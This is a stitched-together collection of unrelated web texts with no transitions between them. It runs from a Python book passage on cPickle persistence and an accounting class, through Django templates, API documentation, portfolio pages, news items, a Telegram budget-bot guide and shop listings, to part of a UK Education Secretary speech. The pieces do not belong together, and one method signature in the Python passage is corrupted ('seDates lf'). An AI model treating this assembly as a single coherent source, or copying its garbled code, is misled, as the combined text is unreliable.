BookSet uses one of Python's persistence tools, the cPickle module. Python has three modules that can save almost any structure to disk for you. Marshal is written in C and is the fastest, but is limited to numbers, strings, lists, dictionaries, and tuples. Pickle was written in Python and allows arbitrary objects to be stored to disk. cPickle is a recent rewrite of pickle in C, which allows high-speed storage approaching that of Marshal. Here are the BookSet methods to save and load the data:
def save(self, filename): f = open(filename,'wb') cPickle.dump(self.__journal,f) f.close() def load(self, filename): f = open(filename, 'r') data = cPickle.load(f) for tran in data: self.add(tran) f.close()
We did a little preparation by opening a file, but it takes only one line to save and reload all of our data. If you subsequently redesign your Transaction class, you don't need to rewrite the persistence code. Persistence is one of Python's most powerful features.
BookSet offers a lot of methods. We won't list them exhaustively—you'll see plenty later on—but here are the main families:
add( self, tran), remove(self, index), edit(self, index, newTran), renameAccount(seDates lf, oldAcct, newAcct, compact=1). These allow modification. edit() breaks down into a remove() followed by an add(), since the date and thus the location in the array might have changed. renameAccount() loops over the whole bookset; like the DOS rename command, it can also move things to a different part of the tree.
save (self, filename), saveAsText(self, filename), load(self, filename), loadFromText(self, filename) allow storage in files in either a fast native format or human-readable text. The native format is that produced by the cPickle utility discussed previously.
getAccountDetails( self, account) gets the full history of entries in an account. getAccountList(self ) returns a list of all the unique accounts in a BookSet. getAccountBalance (self, acct, date=LATE) tells you the balance of an account on a date, and getAccountActivity(self, acct, startDate=EARLY, endDate=LATE) gives the change in the account between two dates. getAllBalancesOn(self, date=LATE) returns the balances of all accounts on the given date or the closing balances if no date is given. We'll see how to extend the BookSet to let the user create custom queries in Chapter 8.
We've defined some basic classes that represent what is commonly known as the general ledger or nominal ledger, the core of any accounting system. Accounting systems generally build layers and modules around the general ledger to handle things like sales and purchases, cash management, payroll, and job and project tracking. In a conventional architecture, these might each be extra modules (sold separately) that add tables, editing screens, and reports. When new items are added, these modules might post entries to the general ledger as well as keep their own records. Unfortunately, this is the point at which businesses start to vary from each other: it's hard to predict in advance what facts companies need to keep track of.
Our transactions so far deal with the two dimensions of time and account. However, you may wish to store extra information in the future, such as the name of a customer or supplier, a check number for a payment, or a tax code for an invoice line; and you don't want to be limited to a predefined set of attributes.
Python has an unusual and extremely flexible (but potentially dangerous) feature that enables you to minimize the number of these extensions: any class instance can be given any attribute, regardless of its class definition. Let's look at how a transaction is initialized:
class Transaction: def __init__(self): "By default, you get a zero transaction with time = now" import time self.date = int(time.time()) self.comment = '<New Transaction>' self.lines = []
It has three attributes, date, comment, and lines. In most other object-oriented languages you would be limited to these. In Python there is absolutely nothing to stop you from doing the following:
>>> import doubletalk.transac >>> t = doubletalk.transac.Transaction() >>> t.Customer = 'HugeCo' >>> t.InvoiceNo = 199904007 >>>
You don't need to define the attributes Customer and InvoiceNo in the class definition, which means you aren't limited. Your transactions can store any extra facts you wish. Furthermore, the cPickle module that provides the persistence capabilities will still save and load the objects.
In general, adding attributes on the fly like this is a bad design, because there is a strong chance users will overwrite attributes that are important to the functioning of the program. We can get away with it here since Transaction is essentially just a packet of data to be manipulated, and we want to keep the code short. In Chapter 13, you will see a much safer technique for doing the same thing, which preserves the friendly user-level syntax.
By adding these two facts to sales invoices and records of payments, you can generate reports showing who owes what or breaking down sales by customer. The converse also applies to invoices received and payments to suppliers. You can also imagine end users finding interesting new applications for this; you could tag transactions with the person who entered them, add cross references to check stubs, or anything else you want.
However, there are occasions when an attribute doesn't apply to the whole transaction but just to one line. Imagine you are billing a large customer for consulting work done by four of your staff, all working in different departments, and you want to track the income by department or team internally. You have only one transaction, but different attributes per line. To cope with this, the lines inside transactions are three-element tuples. Element three is usually None, but can be a dictionary. Later we will write queries that can loop over a BookSet and query based on these attributes. In the next example, we create a transaction with extra attributes at both the transaction and line level and split the income from a sale between two internal projects:
>>> INCOME='MyCo.Capital.PL.Income.Consulting' # save typing >>> t = doubletalk.transac.Transaction() >>> t.Customer = 'HugeCo' >>> t.InvoiceNo = 199904007 >>> t.addLine(INCOME, 15000, {'Project':'P1'} ) >>> t.addLine(INCOME, 10000, {'Project':'P2'} ) >>> t.addLine('MyCo.NCA.CurrentAssets.Creditors', 25000) >>> t.display() # shows the basics Date: 27-Apr-1999 21:17:52 Comment: <New Transaction> MyCo.Capital.PL.Income.Consulting 10000.000000 MyCo.Capital.PL.Income.Consulting 15000.000000 MyCo.NCA.CurrentAssets.Creditors 25000.000000 >>> from pprint import pprint >>> pprint(t.__dict__) # look inside the object {'Customer': 'HugeCo', 'InvoiceNo': 199904007, 'comment': '<New Transaction>', 'date': 925247872, 'lines': [('MyCo.Capital.PL.Income.Consulting', 10000, {'Project': 'P2'}), ('MyCo.Capital.PL.Income.Consulting', 15000, {'Project': 'P1'}), ('MyCo.NCA.CurrentAssets.Creditors', 25000, None)]} >>>
Our data model still obeys all the fundamental rules of double-entry accounting but is now much more extensible: users can add their own attributes at will. This is the basis of a highly open, extensible system.
| I l@ve RuBoard |


This web application consists on an one to many video call using WebRTC. In other words, this is an implementation of a video broadcasting application. There are two types of users in this application: 1 peer sending media (let's call it Presenter) and N peers receiving the media of the Presenter (let's call them Viewers). Thus, the Media Pipeline is composed by 1+N interconnected WebRtcEndpoints. To run this demo follow these steps:


[WATCH] Tobacco company unveils anti-smoking campaign
by Mastura Malak, Hasmizar Hassan, Fikri GhazaliTHE world’s largest tobacco company, Philip Morris has unveiled a campaign to get smokers to quit the habit.
The ‘Unsmoke the world’ campaign’s message is clear: “If you don’t smoke, don’t start. If you smoke, quit. If you don’t quit, change.” – November 25, 2019.


I am a software developer, specializing in JavaScript, HTML and CSS. I am currently located in Seattle, WA.
I completed my bachelor's degree in Political Science at the University of Washington, Seattle Campus. I initially worked in sales out of college, but started learning to code in my spare time and enjoyed it so much I decided to switch career paths.
I am a graduate of the Advanced Software Development in Full-Stack Javascript course at Code Fellows, where I worked extensively with MEAN stack technologies, jQuery, Bootstrap, and other widely used libraries and frameworks.
keiranbeaton@gmail.com


Energy is the abilityto do work. Objects can have stored, or potential, energy when work has been done (such as raising an object in the air) or by virtue of their position (such as sitting at the top of a hill). Potential energy changes to kinetic energy when the object moves. Examples include holding a stretched spring (potential energy) and then releasing it (kinetic energy) or holding a box above the ground (potential energy) and then dropping it (kinetic energy).
Kinetic energy is a form of energy that results from an object's motion. There are many types of motion that use kinetic energy: translation (moving from one place to another), rotation, and vibration. The measurement of kinetic energy in an object is calculated based on the object's mass and velocity. It is measured in Joules.
Potential energyis a form of energy that results from an object's position or arrangement of parts. It is stored energy that can become kinetic energy. It includes potential electrical, chemical, and nuclear energy. The measurement of potential energy in an object is calculated based on the object's mass and its height or distance. It is measured in Joules.


{% extends "base.html" %} {% load smartmin i18n %} {% block content %}
{% blocktrans %} Sorry, you cannot log in at this time because we received {{failed_login_limit}} incorrect login attempts. {% endblocktrans %}
{% if lockout_timeout >= 0 %}{% blocktrans %} Please wait {{lockout_timeout}} minutes before to try log in again. {% endblocktrans %}
{% endif %} {% if allow_email_recovery %}{% trans "Alternatively, you can fill out the form below to have your password reset via e-mail." %}
{% else %}{% trans "Please contact the website administrator to have your password reset." %}
{% endif %}


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| Interface | Description |
|---|---|
| DiptraceAttribute |
A Diptrace attribute.
|
| DiptraceTreeNode |
A node in a Diptrace tree.
|
| Class | Description |
|---|---|
| DiptraceComponent |
A Diptrace component.
|
| DiptraceComponentPin |
A components pin.
|
| DiptraceDoubleAttribute |
A Diptrace double attribute.
|
| DiptraceDoublePercentAttribute | |
| DiptraceGenericItem |
This class is a generic class for items in the DipTrace ascii file.
|
| DiptraceGraphics |
Draw a schematics or a pcb on a Java Graphics2D object.
|
| DiptraceItem |
This class is the base class for items in the DipTrace ascii file.
|
| DiptraceNet |
Holds an item from both the schematics and pcb tree.
|
| DiptraceOperations |
Do different operations on a DiptraceProject.
|
| DiptracePCBLayer |
A layer on the PCB.
|
| DiptracePCBNonSignalLayer |
A non signal layer on the PCB.
|
| DiptraceProject |
This class is holds a diptrace project.
|
| DiptraceRootItem |
This class is the root item of the tree in the DipTrace ascii file.
|
| DiptraceShapeItem |
A Diptrace shape item.
|
| DiptraceStringAttribute |
A Diptrace string attribute.
|
| DiptraceToken |
This class represents a token in the DipTrace ascii file.
|
| DiptraceTokenizer |
This class has methods to parse a DipTrace ascii file into tokens.
|
| Enum | Description |
|---|---|
| DiptracePCBSide |
The side of the PCB.
|
| DiptraceShapeItem.DrawingType |
Type of thing to paint.
|
| DiptraceShapeItem.MarkingType |
The different markings.
|
| DiptraceStringAttribute.UseQuotes |
Whenether to use quotes or not.
|
| DiptraceTokenType |
Constant definitions of token types.
|
| PlacementLayer |
The layers.
|
| SideTransparency |
Should the other side of the PCB be visible?
|
| Exception | Description |
|---|---|
| DiptraceNetNameAlreadyExistsException |
This exception is thrown when the desired RefDes already exists and cannot
be duplicated.
|
| DiptraceNotFoundException |
Item not found exception.
|
| DiptraceRefDesAlreadyExistsException |
This exception is thrown when the desired RefDes already exists and cannot
be duplicated.
|


(+5% Damages)
Introduction
Welcome to AlphaRPG, a game made by Purple Wizard.
The main goal of this game is to fight enemies and progress through the story to gain EQUIPMENTS and EXPERIENCE.
You will discover a new world named Alpha with various kingdoms & monsters.
But be careful there are also powerful monsters named BOSS so you need to fight wisely to deal with them.
Also, if you have any question, don't hesitate to join our discord server.
Okay, now we need to know who your character is..
Name Selection
Before entering to the world of AlphaRPG, We need to know your name (3-16 characters with only
numbers and letters).
Type "Neo" to generate a random name.
Avatar Selection
Class Selection
(+5% Damages)
(+5% Armor)
(+5% Experience)
Confirmation
by Purple Wizard
𝓟𝓾𝓻𝓹𝓵𝓮 𝓦𝓲𝔃𝓪𝓻𝓭#3154
u/Aizen45
LYSEN-FR
Huge thanks to Tiwaz and Pedter
for their help.
Informations
The story will be reset and the difficulty will raise by 5%.
For each dimension: +50 max tier score, 3% more EXP, +2 inventory slots
| Name | Current value | Price | Action |
|---|---|---|---|
| EXP Multiplier | 0 | 3 |
Upgrade
|
| Damage Multiplier | 0 | 3 |
Upgrade
|
| Armor Multiplier | 0 | 3 |
Upgrade
|
| Inventory slots | 0 | 3 |
Upgrade
|
Settings
Promotional Codes
If you have a promotional code, write it here.
Theme
You will lose this item.
Old New
Old New
Do you really want to reset all your stats ?
You will lose your current equipment.


This project was completed over the course of six weeks for my user-centered design course at the University of Pittsburgh. In the project we were instructed to design a website for a fictional business, in this case, a local bike shop that sold new and used bicycles along with maintenence services and bike safety classes. Throughout the course we learned about design processes and various UX and web design principles. The goal of the website was to bring in new customers from the local Pittsburgh area.
I worked as a designer with a team of two Information Science students on the project. The project took six weeks to complete and included feedback and revisions.
User research was given to us by our professor. With the research we recieved, our group deduced a few key elements to use in crafting our solution. Firstly, the business emphasized community and how it was a local bike store, not a large chain sporting goods store. This is important because the store offers unique services to the local communitylike volunteering to work at the store to earn a bike if one cannot afford it. Furthermore, the owner wanted to emphasize that the store offered cheap yet reliable bicycles, as well as maintenence and accessories.
Our first step in our solution was to create user personas for the various groups that will be using the bike store. It was important to make sure that the personas were an accurate representation of the store's users, including people from various age, gender, and socioeconomic backgrounds. With these personas, we went on to create user scenarios of various realistic uses of the website.
Personas of three different users of the website.
Scenarios created using the three personas.
For our solution, we created a website that was easy to navigate and fun to both look at and use. In addition, we added an account database so users could stay up to do date on new deals and to reserve a bike for pickup. The final site has a sleek design and delivers to the wide range of needs of its various users.
Prototypes of the landing page and choose a bike page.
Prototypes of the account creation page and store pickup page.


DEC Alpha workstations
DEC AlphaStations 255/233
pircsa0.agron.iastate.edu
pircsa1.agron.iastate.edu
Currently running Digital UNIX, each machine has 128 megs of main memory. I am reconfiguring the swap space on these to decrease the number of low swap space warning we have been running into.


|
QuantLib: a free/open-source library for quantitative finance
Fully annotated sources - version 1.30
|
#include <ql/math/interpolations/abcdinterpolation.hpp>
Public Member Functions | |
| AbcdCoeffHolder (Real a, Real b, Real c, Real d, bool aIsFixed, bool bIsFixed, bool cIsFixed, bool dIsFixed) | |
| virtual | ~AbcdCoeffHolder ()=default |
Public Attributes | |
| Real | a_ |
| Real | b_ |
| Real | c_ |
| Real | d_ |
| bool | aIsFixed_ = false |
| bool | bIsFixed_ = false |
| bool | cIsFixed_ = false |
| bool | dIsFixed_ = false |
| std::vector< Real > | k_ |
| Real | error_ |
| Real | maxError_ |
| EndCriteria::Type | abcdEndCriteria_ = EndCriteria::None |
Definition at line 42 of file abcdinterpolation.hpp.
|
virtualdefault |
| Real a_ |
Definition at line 71 of file abcdinterpolation.hpp.
| Real b_ |
Definition at line 71 of file abcdinterpolation.hpp.
| Real c_ |
Definition at line 71 of file abcdinterpolation.hpp.
| Real d_ |
Definition at line 71 of file abcdinterpolation.hpp.
| bool aIsFixed_ = false |
Definition at line 72 of file abcdinterpolation.hpp.
| bool bIsFixed_ = false |
Definition at line 72 of file abcdinterpolation.hpp.
| bool cIsFixed_ = false |
Definition at line 72 of file abcdinterpolation.hpp.
| bool dIsFixed_ = false |
Definition at line 72 of file abcdinterpolation.hpp.
| std::vector<Real> k_ |
Definition at line 73 of file abcdinterpolation.hpp.
| Real error_ |
Definition at line 74 of file abcdinterpolation.hpp.
| Real maxError_ |
Definition at line 74 of file abcdinterpolation.hpp.
| EndCriteria::Type abcdEndCriteria_ = EndCriteria::None |
Definition at line 75 of file abcdinterpolation.hpp.


Create group in Telegram.
Find @GroupBudgetBot and add him to group.
Write you transactions and commands after @GroupBudgetBot helloes you.
Start messages with number, then optional comment and then hashtag for income or expence category.
Example: 300 taxi from airport #taxi
Once you have written #YourHashtag
Telegram will remember it and will show it to you when you print #
next time. So you don't need to write it every time manually.
Write all expenses without any sign: 1100 dinner with friends #restaurant
Write all incomes with  +
:+90000 bonus for starting space project #salary
Send /stat
to get statistics.
Coming soon. If you want to combine several hashtags, send 2 hashtags, for example:#transport #taxi
All transactions from #taxi will be replaced to #transport and #taxi will disappear from statistics.
Coming soon. If you want to set monthly spent limit on hashtag, send #hashtag and limit, for example:#eat 50000
When your spent on #hashtag with limit will be more than 80% from the limit, you will get a warning notification about that.


This project shows various ways to write AngularJS 1.x components. Prior to AngularJS 1.5 components were known as directives.


TwoPane Demo
noise 1
noise 2
Between this two elements there is an hidden handle to resize the panels.
html
CSS
JS
noise 3


phlogiston.evm.opcodes
Ethereum Virtual Machine (EVM) opcodes and related methods.
Copyright © 2016, Eric Scrivner
License:
Subject to the terms of the MIT license, as written in the included
LICENSE.txt file.
Authors:
Eric Scrivner
- enum Opcode: ubyte;
- Enumeration of EVM opcode names and byte values.
- pure string[ubyte] generateBytecodeToOpcodeNameMap();
- Returns:
An associative array from bytecode values to opcode names.
- pure ubyte[string] generateOpcodeNameToBytecodeMap();
- Returns:
An associative array from opcode names to bytecode values.
Page generated by Ddoc.


--- layout: post status: publish published: true title: Spring Training Photos, March 20 author: display_name: Kurt login: Kurt email<EMAIL_ADDRESS>url: '' author_login: Kurt author_email<EMAIL_ADDRESS>excerpt: "Photos from the March 20, 2011 game vs. the San Fransisco Giants at Hohokam Park. Click on the header above to view all 125 photos from the game.\r\n\r\n[caption id=\"attachment_4154\" align=\"alignleft\" width=\"300\" caption=\"The lineup board\"][/caption]\r\n\r\n[caption id=\"attachment_4172\" align=\"alignleft\" width=\"300\" caption=\"Matt Garza chats with Shawon Dunston and Greg Maddux\"][/caption]\r\n\r\n[caption id=\"attachment_4164\" align=\"alignleft\" width=\"300\" caption=\"Reed Johnson and Rudy Jaramillo\"][/caption]\r\n\r\n[caption id=\"attachment_4176\" align=\"alignleft\" width=\"300\" caption=\"Looking good for the camera\"][/caption]\r\n\r\n[caption id=\"attachment_4194\" align=\"alignleft\" width=\"300\" caption=\"Byrd and Soriano\"][/caption]\r\n\r\n[caption id=\"attachment_4196\" align=\"alignleft\" width=\"300\" caption=\"Marlon Byrd signing autographs\"][/caption]\r\n\r\n[caption id=\"attachment_4225\" align=\"alignleft\" width=\"300\" caption=\"Byrd reaches on a Fontenot error\"][/caption]\r\n\r\n[caption id=\"attachment_4273\" align=\"alignleft\" width=\"300\" caption=\"Max Ramirez playing first base\"][/caption]\r\n\r\nClick read more to see the entire gallery. " wordpress_id: 4153 wordpress_url: http://ivyenvy.com/?p=4153 date: '2011-03-21 09:36:02 +0000' date_gmt: '2011-03-21 14:36:02 +0000' categories: - General Baseball - General Sports - Ivy Envy - The Cubs - Spring Training tags: - cubs - Spring Training - Mesa - Hohokam - Rand Wells - Photos comments: - id: 2893 author: Ryan author_email<EMAIL_ADDRESS>author_url: '' date: '2011-03-22 11:03:42 +0000' date_gmt: '2011-03-22 16:03:42 +0000' content: "Maybe it's just the picture, but Vitters doesn't look like a very big guy. What are his stats?\r\n\r\nMeehan" - id: 2907 author: Corey author_email<EMAIL_ADDRESS>author_url: '' date: '2011-03-23 08:15:43 +0000' date_gmt: '2011-03-23 13:15:43 +0000' content: You'd be amazed at how many of these guys are averaged sized. I'd say Vitters is 6 foot, maybe 6-1. He's pretty lean and it doesn't look like he's got a ton of muscle, but he has some pop in his swing. We didn't see him jack any balls long distances, but he hit a few very sharp line-driives. ---
Photos from the March 20, 2011 game vs. the San Fransisco Giants at Hohokam Park. Click on the header above to view all 125 photos from the game.
[caption id="attachment_4154" align="alignleft" width="300" caption="The lineup board"][/caption]
[caption id="attachment_4172" align="alignleft" width="300" caption="Matt Garza chats with Shawon Dunston and Greg Maddux"][/caption]
[caption id="attachment_4164" align="alignleft" width="300" caption="Reed Johnson and Rudy Jaramillo"][/caption]
[caption id="attachment_4176" align="alignleft" width="300" caption="Looking good for the camera"][/caption]
[caption id="attachment_4194" align="alignleft" width="300" caption="Byrd and Soriano"][/caption]
[caption id="attachment_4196" align="alignleft" width="300" caption="Marlon Byrd signing autographs"][/caption]
[caption id="attachment_4225" align="alignleft" width="300" caption="Byrd reaches on a Fontenot error"][/caption]
[caption id="attachment_4273" align="alignleft" width="300" caption="Max Ramirez playing first base"][/caption]
Click read more to see the entire gallery. [gallery link="file" orderby="title"]


Welcome to the Patient Portal Managing your healthcare is an important step.. With this website, you will be able to manage your healthcare information by giving you the ability to: 1. Provide up-to-date personal and medical information. 2. Obtain, review, and print clinic lab results and medical information for your records to ,provide you with your healthcare information. 3. Search educational material to help you improve and manage your health. If you wish to speak to someone at our practice regarding an urgent care situation please call ***-***-**** to schedule an appointment or to reach the doctor that is on call.
Speciality: {{doctor.speciality}}
Facility Address: {{doctor.address}}
Contact Information: {{doctor.phonenumber}}
{{medication.drugname}}
{{medication.dosage}}
{{medication.route}}
Current Medication
Discontinued Medication
No visit summary available.


The £1.3m Rightmove house leaving everybody on Twitter feeling 'ill' as pictures of inside go viral
The £1.3 million home was shared by a Twitter user, and has set social media alight ever since the images surfaced
by James Rodger, Luke Matthews, https://www.facebook.com/jamesrodgerjournalistA five-bedroom detached home listed on Rightmove has left those viewing it "ill" - and you may feel the same after seeing these images.
The property, which is situated in Middlesex, will set prospective house buyers back a hefty sum.
The £1.3 million home was shared by a Twitter user, and has set social media alight ever since the images surfaced.
Taking to the social media platform, Toby Davies wrote: "Thinking about buying this house, but I'm not sure it has enough plug sockets."
You're probably wondering what he means - especially when you learn his tweet went viral, with more than 4,000 likes and 1,400 retweets.
Mirror Online reports as photos of the home move from the stunning exterior, to the dreamy kitchen and then to the living area, Toby's sarcastic concerns become very apparent.
Every wall appears to be absolutely plastered in sockets. Sockets stacked on top of one another, sockets halfway up the walls and sockets running underneath the windows.
With the owners clearly having never laid eyes on a multi-plug adapter, people were left completely baffled as to what all the outlets were possibly used for.
Questions include 'were they running the CIA from the front room?' and 'was this an electrician's training centre at one point?'.
The online description fails to address quite why there are so many sockets.


Type '!kmdtip help' for a list of actions. If you'd like to check your balance in private DM the bot and type "!kmdtip". Don't deposit too much. Around 10 KMD should be enough.
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@sclear still no boom boom
(edited)
!arrrtip cannon 3.8
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wow arrtipbot does it work now....
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About Me
Hi! My name is Ivan, I'm currently a third year SFU student majoring in interactive arts and technology with a curious mind and an interest in all things interactive.
My passion lies in seeing people smile, and I aim to do so through my interactive projects!
Contact Me
Interested in a chat? Email me at<EMAIL_ADDRESS>:)


{% extends "r-layout.html" %} {% block content %}
{% if de1 %} Wir haben eine Bestätigung an {{ email }} gesendet {% else %} We've sent a 6-digit verification code to {{ email }} {% endif %}
If you do not receive this email, please check your Spam folder, make sure the provided email address is correct, or contact us.


Page Header
Home - Overwatch
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Clinque1660.github.io
View and Download BFT ELI 250 BT installation and user manual online. ELECTROMECHANIC AUTOMATIONS FOR SWING GATES. ELI 250 BT Garage Door Opener pdf manual download. BFT ELI 250 BT INSTALLATION AND USER MANUAL Pdf Download. View and Download BFT ELI-250 installation and user manual online. ELECTROMECHANIC AUTOMATIONS FOR SWING GATES. ELI-250 Gate Opener pdf manual download. Bft Eli 250 Bt Installations- Und Gebrauchsanleitung. BFT ELI-250 INSTALLATION AND USER MANUAL Pdf Download.


508-775-2400
<EMAIL_ADDRESS>408 Main Street
Hyannis, MA 02601
See Map
Monday - Saturday:
9:00am - 5:30pm
Thursday: 9:00am - 8:00pm
Sunday: Closed (Check for holiday weekend hours)
Our 20,000 square foot flagship store is located on Main Street, Hyannis. Cape Cod's premier specialty store with an impressive selection of designer brand-named apparel and footwear for men and women. Experience Puritan Outdoors featuring skis, tennis, and technical apparel.
After shopping, stop downstairs at Solstice Day Spa to be pampered with manicures, hair cuts, facials, and massage therapy. Amenities include four massage rooms designed to accommodate couples massages, a large steam shower, custom-built pedicure chairs, a private hair salon area with five stylists, and even a "sanctuary room" where customers can enjoy healthy refreshments.
Enjoy a drink at the bar (and be sure to try the local farm-grown oysters). Don't want to carry your shopping bags over while you have dinner? Not a problem, Puritans will gift wrap your purchases and deliver them to you, right in the restaurant.
Rendez Vous Cafe is a place to eat, meet and socialize with friends and family. Offering coffee drinks, crepes, panini sandwiches, salads, and Italian sodas. Grab a coffee while you browse the latest styles at Puritans.


My name is Fred Lee.
I am a Korean American and my birthday is on September 27th, 1995. My parents were born in Korea, but I was born in America. I have one little brother that is 7 years younger than I am. Fun Fact: the age gap between me and my brother is the same as the age gap between my parents!
I'm currently working on my Bachelor's degree for Computer Science and Engineering at Michigan State University. On the surface, it seems as if I'm studying to try and earn a stable living.
BUT I want to do much more than that.
I am a video game fanatic. But not just any video game fanatic, but an extremely competitive video game fanatic. What you see above is the stadium where the grand finals of a video game tournament were held. My dream is to be a part of this phenomenon called E-Sports. It matters not whether I contribute as a competitor, creator, or supporter; my dream is to witness E-Sports being held in the same regard as regular sports.
On a side note, my favorite food is Korean. Specifically Korean BBQ.
Sushi gets a very close second.


Modules¶
The package allows the user to execute the following methods:
EucastParser¶
- Parse EUCAST Clinical Breakpoint Tables
- EucastParser.run_eucast_parser(path)
- Arguments:
- ‘path’: Path to preprocessed EUCAST Clinical Breakpoint Tables
- Returns:
- Pandas DataFrame with parsed guidelines
BpRuler¶
- Search breakpoints based on organism-compound combinations
- BpRuler.run_breakpoint_query(path_to_resource, mic_result_df)
- Arguments:
- ‘path_to_resource’: Path to parsed EUCAST Clinical Breakpoint Tables ‘mic_result_df’: Pandas DataFrame containing organism-compound combinations to look up. Has to contain column names ‘organism’ and ‘cmp_name’.
- Returns:
- Pandas DataFrame of parsed guidelines containing the following additional columns:
- ‘matched_organism’: The species/genus/family the breakpoint is applicable to
- ‘matched_cmp_name’: The compound name the breakpoint is applicable to
- ‘s_value’: The lower border of the breakpoint in mg/L.
- ‘r_value’: The upper border of the breakpoint in mg/L.
- Derive resistance phenotypes from Minimum inhibitory concentrations (MIC).
- BpRuler.run_sample_classification(‘path_to_resource’, mic_result_df)
- Arguments:
‘path_to_resource’: Path to parsed EUCAST Clinical Breakpoint Table ‘mic_result_df’: Pandas DataFrame containing organism-compound combinations to look up. Has to contain column names ‘organism’, ‘cmp_name’ and ‘MIC’.
If a column ‘sample_id’ is added interpretive rules are applied to the provided sample information to find information about any organism-compound information for which no breakpoint was found.
- Returns:
- Pandas DataFrame of parsed guidelines containing the following additional columns:
- ‘matched_organism’: The species/genus/family the breakpoint is applicable to
- ‘matched_cmp_name’: The compound name the breakpoint is applicable to
- ‘s_value’: The lower border of the breakpoint in mg/L.
- ‘r_value’: The upper border of the breakpoint in mg/L.
- ‘label’: The resistance phenotype ‘R’, ‘S’, or ‘I’ derived from the breakpoint and MIC.
- Derive resistance phenotypes based on AST results and beyond that via interpretive rule.
- BpRuler.get_whole_resistance_phenotype(‘path_to_resource’, mic_result_df)
- Arguments:
- ‘path_to_resource’: Path to parsed EUCAST Clinical Breakpoint Table ‘mic_result_df’: Pandas DataFrame containing organism-compound combinations to look up. Has to contain column names ‘organism’, ‘cmp_name’, ‘MIC’ and ‘sample_id’.
- Returns:
- Pandas DataFrame of parsed guidelines containing the following additional columns:
- ‘matched_organism’: The species/genus/family the breakpoint is applicable to
- ‘matched_cmp_name’: The compound name the breakpoint is applicable to
- ‘s_value’: The lower border of the breakpoint in mg/L.
- ‘r_value’: The upper border of the breakpoint in mg/L.
- ‘label’: The resistance phenotype ‘R’, ‘S’, or ‘I’ derived from the breakpoint and MIC.


Speech
The Education Secretary speaks at Policy Exchange about the government's reforms to promote educational excellence everywhere.
Thank you Jonathan [Simon, Head of Education, Policy Exchange] and thank you to Policy Exchange for hosting me here this morning.
It’s great to see so many of you here today.
Many of you have been key players in the transformation of English education over the past 5 years.
You’ve been the ideas factories, the sounding boards, the testing grounds and of course the critical friends that have led and shaped the phenomenal improvements in English education over the last 5 years and more.
That transformation hasn’t been easy. We’ve challenged the status quo, debunked accepted truths and questioned vested interests. It takes determination, it isn’t universally popular and there are always setbacks.
And it couldn’t have been done without the hard work and dedication of heads, teachers and schools up and down the country. I want to thank them for that.
But for all of the challenge, that mission has been worth it.
Worth it for the million more children in schools rated ‘good’ or ‘outstanding’ - children now getting off to a better start in life.
Worth it for the 120,000 more 6-year-olds on track to become confident readers as a result of our focus on phonics. 120,000 more young people who might have struggled, now on the path to success.
And it’s been worth it for the 29,000 extra 11-year-olds who are entering secondary school able to read, write and add up properly, able to access the opportunities that the next stage of education brings, rather than being frustrated at the very first hurdle.
I quote these statistics at every opportunity I get, because they matter to the young people whose life chances have been transformed, and they matter to our whole country. Because good schools and a well-educated population makes our country stronger, fairer, wealthier and more secure.
There are many things on which I don’t agree with Tony Blair, not least what constitutes an actual apology.
But I cannot disagree with his priorities for government: education, education, education. There can be no better investment than in our education system.
I love my job - and I suspect teachers across the country love their jobs too - because it is positive, creative, ambitious and focused on the future.
Many of my colleagues in government spend their time trying to work out how to reduce the number of people who have to access their services. And that’s right - after all we all want fewer people needing to call the police, falling ill, or relying on welfare.
Education is different.
My job is to maximise participation, not to reduce it. I want to make our schools and colleges places where young people achieve more, and I want to continue to increase the number who stay on in education or an apprenticeship to 18 and beyond.
So - although we all know the spending review will be tight - this government is committed to protecting school funding and to creating 3 million apprenticeships, because we want to give the best to every young person.
That’s why at the Conservative Party Conference this year, I committed to going further than simply education, education, education - with the next 3Es - educational excellence everywhere.
I want every child to benefit from the sort of education that young people get at schools like King Solomon Academy in London, Denbigh High School in Luton, and Fernwood School in Nottingham.
Schools which are the real engines of social justice. That’s the sort of school that every child should be attending.
For all the successes of our reforms over the past 5 years, one of the consequences of the emergence of these beacons of excellence, has been to highlight just how far some schools and some parts of our country still lag behind.
Our reforms over the past 5 years have had an enormous impact. We gave successful schools the freedom to chart their own future - and they seized the opportunity to shine. They show us what is possible. Their success inspires others.
But these bright spots also provide an ever-stronger contrast with the continuing failure of others. And that’s why some of our opponents have a problem with encouraging success and unlocking potential. Because the contrast is uncomfortable, and because the stellar successes undermine traditional excuses.
And avoiding that comparison is what led to the attitude which took hold among policymakers for the decade prior to 2010.
Rather than striving for excellence which risked exposing those schools which weren’t up to the mark, they sought instead to level everyone down to the bottom.
Rather than creating gold standard qualifications they downgraded them to the lowest common denominator while inflating top grades. They prided themselves on the ever-rising results. But it wasn’t real.
Rather than encouraging innovation and creativity, they sought to direct and mandate what happened in classrooms, from the literacy hour to the ‘approved’ 3-part lesson and the ever-expanding Ofsted handbook against which schools’ compliance was judged.
As Michael Barber says, that approach can get you from awful to adequate, and maybe even to good, but it’s not going to enable excellence. They said they respected teachers - but with that approach, it wasn’t real.
Rather than giving children from poor families access to great education, they instead created a new cadre of pseudo qualifications, which claimed to be equivalent to academic qualifications. Teenagers got more certificates, and school results seemed to improve. But the qualifications weren’t credible in the jobs market - they weren’t real. They were, to be frank, a fraud on the young people taking them.
Now let me be clear, I don’t think there was anything deliberately ill-intentioned about this attitude, in fact, I’d go so far as to say it was motivated by kindness.
But it was kindness driven by tacit snobbery. By a fatalistic lack of confidence in human potential. By a world view that certain kids - and let’s be honest, ‘kids like these’ always meant kids from poorer homes - could never succeed academically. And so we shouldn’t even try.
Nothing exposes that snobbery more than the fact that these politicians and policymakers were never thinking about their own children.
They weren’t going to allow their 14-year-olds to settle for qualifications in study skills or nail technology; they weren’t going to let them narrow their scope at age 14 by filling their school timetable with NVQs and worthless ‘certificates’.
To the contrary. They made sure their children would study key academic subjects, which they told everyone else weren’t essential. Looking around the room here, I’m sure most of us benefited from our parents and teachers making sure we took a balanced set of academic qualifications. And we’ll do the same for our children, because we love them, and we know that a good set of GCSEs will set them up for college and adult life.
But the attitude that we shouldn’t expect this of (or for) all children dominated our education system and however well intentioned it may have been, it was fundamentally pernicious.
The test that must be asked of every education policymaker is: ‘Is it good enough for your child?’ If you’re not happy for your child to choose that track, then you shouldn’t be offering it for other people’s children.
I wonder how different things would have been over the past 20 years had that been the case.
Maybe it wouldn’t be the case that just under half of young people in Leicester get 5A* to C grades including English and maths. Maybe it wouldn’t be the case that not a single child in Knowsley got AAB or higher in their A levels this year, maybe it wouldn’t be the case that in Doncaster fewer than 6 in 10 kids leave primary school able to read, write and add up properly compared with 7 in 10 nationally.
